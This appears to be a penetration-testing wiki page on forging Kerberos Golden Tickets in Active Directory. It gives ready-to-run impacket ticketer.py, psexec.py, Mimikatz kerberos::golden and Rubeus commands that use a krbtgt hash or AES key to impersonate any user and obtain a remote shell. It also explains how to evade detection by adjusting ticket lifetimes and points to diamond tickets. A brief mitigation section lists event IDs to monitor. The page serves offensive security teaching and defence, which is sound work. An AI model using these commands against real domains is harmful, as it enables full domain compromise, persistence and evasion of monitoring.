Golden Ticket

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Golden ticket

A valid TGT as any user can be created using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain and the impersonated user.
Moreover the credentials of krbtgt are never changed automatically.

The krbtgt account NTLM hash can be obtained from the lsass process or from the NTDS.dit file of any DC in the domain. It is also possible to get that NTLM through a DCsync attack, which can be performed either with the lsadump::dcsync module of Mimikatz or the impacket example secretsdump.py. Usually, domain admin privileges or similar are required, no matter what technique is used.

It also must be taken into account that it is possible AND PREFERABLE (opsec) to forge tickets using the AES Kerberos keys (AES128 and AES256).

{% code title="From Linux" %}

python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

{% endcode %}

{% code title="From Windows" %}

#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

{% endcode %}

Once you have the golden Ticket injected, you can access the shared files (C$), and execute services and WMI, so you could use psexec or wmiexec to obtain a shell (looks like yo can not get a shell via winrm).

Bypassing common detections

The most frequent ways to detect a golden ticket are by inspecting Kerberos traffic on the wire. By default, Mimikatz signs the TGT for 10 years, which will stand out as anomalous in subsequent TGS requests made with it.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

Use the /startoffset, /endin and /renewmax parameters to control the start offset, duration and the maximum renewals (all in minutes).

Get-DomainPolicy | select -expand KerberosPolicy

Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is seeing 4769's without a prior 4768. It's not possible to request a TGS without a TGT, and if there is no record of a TGT being issued, we can infer that it was forged offline.

In order to bypass this detection check the diamond tickets:

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

Mitigation

4624: Account Logon
4672: Admin Logon
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property

Other little tricks defenders can do is alert on 4769's for sensitive users such as the default domain administrator account.

More information about Golden Ticket in ired.team.